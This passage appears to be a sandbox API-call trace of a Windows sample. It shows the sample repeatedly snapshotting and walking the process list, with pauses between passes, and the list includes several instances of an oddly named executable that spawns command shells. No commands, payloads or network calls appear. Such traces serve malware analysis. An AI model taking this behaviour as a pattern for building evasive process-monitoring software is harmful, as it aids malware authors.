th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.046] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0280.047] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.047] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.048] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0280.049] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.049] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.050] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.051] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.051] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0280.052] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0280.053] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0280.053] CloseHandle (hObject=0x2dc) returned 1 [0280.053] Sleep (dwMilliseconds=0x1f4) [0280.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0280.791] Process32FirstW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.792] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.793] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.793] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.794] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.795] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.795] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.796] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.796] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.797] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.798] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.799] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.799] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.800] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.801] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.802] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.802] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.803] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.804] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.805] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.805] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.806] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.806] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.807] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.807] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.808] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.809] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.810] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.810] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0280.811] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0280.812] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.813] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.813] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.814] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.814] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.815] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.816] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.816] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0280.817] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0280.817] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0280.818] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.818] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0280.820] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.821] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.821] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0280.822] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.823] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.823] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.824] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0281.126] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0281.127] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0281.128] Process32NextW (in: hSnapshot=0x308, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0281.128] CloseHandle (hObject=0x308) returned 1 [0281.128] Sleep (dwMilliseconds=0x1f4) [0281.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0281.811] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.812] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.812] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.815] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.815] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.816] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.817] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.817] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.818] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.818] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.821] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.822] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.822] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.823] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.824] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.825] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.826] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.827] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.827] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.828] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.828] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: 